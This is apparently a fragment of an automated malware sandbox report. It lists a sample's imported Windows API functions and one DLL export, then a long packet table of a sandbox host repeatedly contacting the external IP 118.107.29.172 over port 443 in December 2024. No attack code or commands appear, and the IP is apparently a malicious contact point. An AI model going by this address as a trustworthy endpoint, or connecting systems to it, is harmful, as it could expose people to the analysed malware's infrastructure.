IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx

Exports

Name	Ordinal	Address
ExportFunction	1	0x10003d60

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:14:43.564630985 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.564687014 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:43.564783096 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.576373100 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.576425076 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:43.576482058 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.580962896 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.580977917 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:43.592653036 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:43.592669010 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.406536102 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.406693935 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.422987938 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.423082113 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.493933916 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.493972063 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.494415045 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.494561911 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.499305010 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.500696898 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.500729084 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.501015902 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.503586054 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.505424023 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.543342113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.551330090 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.909719944 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.909756899 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:45.909835100 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.921756029 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:45.921772957 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.332549095 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.332581997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.332602024 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.332673073 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.332707882 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.332731962 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.332768917 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.383435011 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.383460045 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.383475065 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.383505106 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.383538008 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.383554935 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.383560896 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.383589029 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.383608103 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.390175104 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.390203953 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.390275955 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.390311956 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.390331984 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.390350103 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.443492889 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.443520069 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.443605900 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.443634987 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.443684101 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.549643040 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.549673080 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.549731016 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.549761057 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.549789906 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.549812078 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.585809946 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.585834026 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.585912943 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.585952997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.586002111 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.609416962 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.609452009 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.609560966 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.609582901 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.609631062 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.627464056 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.627487898 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.627577066 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.627625942 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.627679110 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.645989895 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.646030903 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.646091938 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.646102905 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.646147013 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.669027090 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.669054985 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.669107914 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.669143915 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.669174910 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.669195890 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.688396931 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.688433886 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.688483953 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.688517094 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.688540936 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.688565016 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.730806112 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.730837107 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.730927944 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.730950117 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.730993032 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.768245935 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.768271923 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.768351078 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.768389940 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.768439054 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.792905092 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.792929888 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.793004036 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.793026924 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.793070078 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.810615063 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.810642004 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.810729980 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.810750961 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.810792923 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.824903011 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.824927092 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.825001955 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.825020075 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.825067997 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.836725950 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.836755037 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.836829901 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.836852074 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.836920977 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.838109016 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.838129997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.838201046 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.838219881 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.838279963 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.860903025 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.860930920 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.861016035 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.861032009 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.861078978 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.870115042 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.870143890 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.870263100 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.870321035 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.870368958 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.877553940 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.877614021 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.877715111 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.877789974 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.877829075 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.877852917 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.892580986 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.892636061 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.892738104 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.892761946 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.892811060 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.895529032 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.905096054 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.905116081 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.905213118 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.905221939 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.905270100 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.942797899 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.942822933 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.942887068 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.942905903 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.942955971 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.946274996 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.946310997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.946360111 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.946398020 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.946415901 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.946434975 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.961134911 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.961162090 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.961236954 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.961267948 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.961327076 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.973108053 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.973129034 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.973241091 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.973253012 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.973288059 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.984375000 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.984392881 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.984508991 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.984549046 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.984596014 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.994719982 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.994745016 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.994873047 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:46.994884014 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:46.994931936 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.001491070 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.001511097 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.001660109 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.001671076 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.001713991 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.008546114 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.008563995 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.008646011 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.008656979 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.008698940 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.016122103 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016140938 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016218901 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.016232967 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016248941 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016277075 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016277075 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.016324997 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.016355991 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.016376019 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.016412020 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.040041924 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.040067911 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.040128946 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.040153980 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.040193081 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.052345037 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.052369118 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.052432060 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.052457094 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.052472115 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.052509069 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.062618017 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.062635899 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.062706947 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.062720060 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.062753916 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.070239067 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.070260048 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.070322037 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.070328951 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.070364952 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.078107119 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.078125000 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.078202009 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.078208923 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.078244925 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.085293055 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.085315943 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.085381031 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.085391045 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.085422993 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.093070984 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.093091011 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.093173027 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.093183041 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.093219042 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.136043072 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.136066914 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.136148930 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.136169910 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.136203051 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.154772043 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.154792070 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.154853106 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.154866934 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.154906034 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.161349058 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.161365986 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.161422968 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.161434889 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.161465883 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.167709112 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.167732954 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.167810917 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.167821884 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.167857885 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.173477888 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.173496008 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.173557997 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.173566103 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.173595905 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.179968119 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.179991007 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.180032015 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.180039883 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.180063963 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.180080891 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.185986996 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.186005116 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.186074972 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.186084032 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.186115980 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.192575932 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.192594051 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.192652941 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.192694902 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.192744970 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.203548908 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.203574896 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.203628063 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.203655958 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.203672886 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.203696966 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.228466034 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.228492975 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.228579044 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.228605986 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.228647947 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.235251904 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.235284090 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.235353947 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.235375881 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.235402107 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.235416889 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.241610050 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.241640091 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.241687059 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.241695881 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.241727114 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.241735935 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.247373104 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.247396946 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.247437000 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.247446060 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.247476101 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.247492075 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.254000902 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.254023075 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.254077911 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.254086971 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.254112959 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.254128933 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.260229111 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.260262966 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.260327101 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.260335922 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.260376930 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.260376930 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.266822100 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.266845942 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.266932964 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.266942024 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.266968966 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.267517090 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.326433897 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.326461077 CET	443	49730	118.107.29.172	192.168.2.4
